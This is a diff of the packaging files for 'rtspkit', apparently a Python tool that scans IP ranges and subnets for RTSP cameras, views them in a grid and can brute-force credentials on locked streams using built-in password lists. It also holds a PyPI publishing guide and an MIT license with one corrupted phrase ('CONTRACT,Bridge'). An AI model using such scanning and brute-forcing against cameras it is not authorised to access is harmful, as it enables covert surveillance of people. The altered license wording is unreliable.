|
|
120
|
+
if cam.working:
|
|
121
|
+
print(f"Found camera at {cam.ip}: {cam.url} ({cam.width}x{cam.height})")
|
|
122
|
+
|
|
123
|
+
# Launch PiP Grid view if cameras found
|
|
124
|
+
working = [c for c in cameras if c.working]
|
|
125
|
+
if working:
|
|
126
|
+
grid = GridRenderer(working, cols=3)
|
|
127
|
+
grid.start_preview()
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Command Line Flags Reference
|
|
133
|
+
|
|
134
|
+
| Flag | Long Flag | Description | Default |
|
|
135
|
+
| --- | --- | --- | --- |
|
|
136
|
+
| `target` | Positional | Target IP, CIDR subnet (`192.168.1.0/24`), range (`192.168.1.1-50`), or target file | Interactive |
|
|
137
|
+
| `-f` | `--targets-file` | File containing batch list of target IPs/subnets | `None` |
|
|
138
|
+
| `-p` | `--port` | Target RTSP TCP port | `554` |
|
|
139
|
+
| `-t` | `--threads` | Number of concurrent worker threads | `50` |
|
|
140
|
+
| `--timeout` | `--timeout` | Network socket and stream timeout (seconds) | `3.0` |
|
|
141
|
+
| `-c` | `--credentials` | Single `user:pass` authentication pair | `None` |
|
|
142
|
+
| `-b` | `--brute` | Enable dictionary brute-forcing for LOCKED streams | `False` |
|
|
143
|
+
| `-U` | `--user-file` | Path to custom usernames list | Built-in list |
|
|
144
|
+
| `-P` | `--pass-file` | Path to custom passwords list | Built-in list |
|
|
145
|
+
| `--probe-paths` | `--probe-paths` | Probe popular RTSP camera paths (`/h264`, `/live/ch0`, etc.) | `False` |
|
|
146
|
+
| `-o` | `--output` | Save results to file (`.json`, `.csv`, `.txt`) | `None` |
|
|
147
|
+
| `--mode` | `--mode` | Execution mode (`grid`, `single`, `record`, `scan-only`) | `grid` |
|
|
148
|
+
| `--grid-cols` | `--grid-cols` | Number of columns in PiP grid preview | `3` |
|
|
149
|
+
| `--rec-duration`| `--rec-duration`| Duration in seconds for stream recording | `30` |
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## Step-by-Step PyPI Publishing Guide
|
|
154
|
+
|
|
155
|
+
Follow these steps to publish `rtspkit` to the Python Package Index (PyPI):
|
|
156
|
+
|
|
157
|
+
### 1. Prerequisites
|
|
158
|
+
Ensure you have `build` and `twine` installed:
|
|
159
|
+
```bash
|
|
160
|
+
pip install --upgrade build twine
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### 2. Create a PyPI Account & API Token
|
|
164
|
+
1. Register an account on [PyPI (pypi.org)](https://pypi.org/account/register/).
|
|
165
|
+
2. Go to **Account Settings** -> **API Tokens** and generate a new API token with `Entire account` or `Project` scope.
|
|
166
|
+
3. Copy your generated token (starts with `pypi-`).
|
|
167
|
+
|
|
168
|
+
### 3. Build Source & Wheel Packages
|
|
169
|
+
Navigate into the `rtspkit` root directory containing `pyproject.toml` and run:
|
|
170
|
+
```bash
|
|
171
|
+
python -m build
|
|
172
|
+
```
|
|
173
|
+
*(Or legacy build command: `python setup.py sdist bdist_wheel`)*
|
|
174
|
+
|
|
175
|
+
This creates distribution files in the `dist/` directory:
|
|
176
|
+
- `dist/rtspkit-1.0.0-py3-none-any.whl`
|
|
177
|
+
- `dist/rtspkit-1.0.0.tar.gz`
|
|
178
|
+
|
|
179
|
+
### 4. Verify Package Build Integrity
|
|
180
|
+
Run `twine check` to ensure your README, metadata, and license format correctly:
|
|
181
|
+
```bash
|
|
182
|
+
twine check dist/*
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### 5. Test Upload to TestPyPI (Optional but Recommended)
|
|
186
|
+
Publish to TestPyPI first to verify package rendering:
|
|
187
|
+
```bash
|
|
188
|
+
twine upload --repository testpypi dist/*
|
|
189
|
+
```
|
|
190
|
+
- **Username**: `__token__`
|
|
191
|
+
- **Password**: `pypi-your-testpypi-api-token`
|
|
192
|
+
|
|
193
|
+
Test installation from TestPyPI:
|
|
194
|
+
```bash
|
|
195
|
+
pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple rtspkit
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### 6. Publish Package to Official PyPI
|
|
199
|
+
Publish your package live on PyPI:
|
|
200
|
+
```bash
|
|
201
|
+
twine upload dist/*
|
|
202
|
+
```
|
|
203
|
+
- **Username**: `__token__`
|
|
204
|
+
- **Password**: `pypi-your-live-pypi-api-token`
|
|
205
|
+
|
|
206
|
+
Once complete, your package will be live on PyPI and installable globally via:
|
|
207
|
+
```bash
|
|
208
|
+
pip install rtspkit
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## License
|
|
214
|
+
|
|
215
|
+
This project is licensed under the [MIT License](LICENSE).
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
rtspkit/__init__.py,sha256=W5_gJQcUvIFoxPXEraG8ZX445KMWis9x8Qb-HmVC1JE,661
|
|
2
|
+
rtspkit/__main__.py,sha256=34eYCObEbNX6Fw8UgQMhT6WNmHb7OgJwbpikjIdb23Y,166
|
|
3
|
+
rtspkit/rtspkit.py,sha256=Q9kci9GFxbLk5oYNCdqvhhCQwTzgz9rErMAfTwIyOLA,41243
|
|
4
|
+
rtspkit-1.0.0.dist-info/licenses/LICENSE,sha256=u7e5MOnru6PmYQa53c_nsnDesQeSKKYX-EADgoJwRKI,1079
|
|
5
|
+
rtspkit-1.0.0.dist-info/METADATA,sha256=bUoMyAm5MLKxNWlw3NsK7UfcZYaj6si4DNYt9lFEL0U,7974
|
|
6
|
+
rtspkit-1.0.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
|
|
7
|
+
rtspkit-1.0.0.dist-info/entry_points.txt,sha256=C3kbPBNQb8J10ZQc5uRC_PuvG9YSpJ0MpIBNeh5ajQs,49
|
|
8
|
+
rtspkit-1.0.0.dist-info/top_level.txt,sha256=0rnUIeAQI0ON4tmcU6c_rwIhSdmXETsOnEUSTXzvAac,8
|
|
9
|
+
rtspkit-1.0.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 RTSP Kit Contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT,Bridge OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
rtspkit
|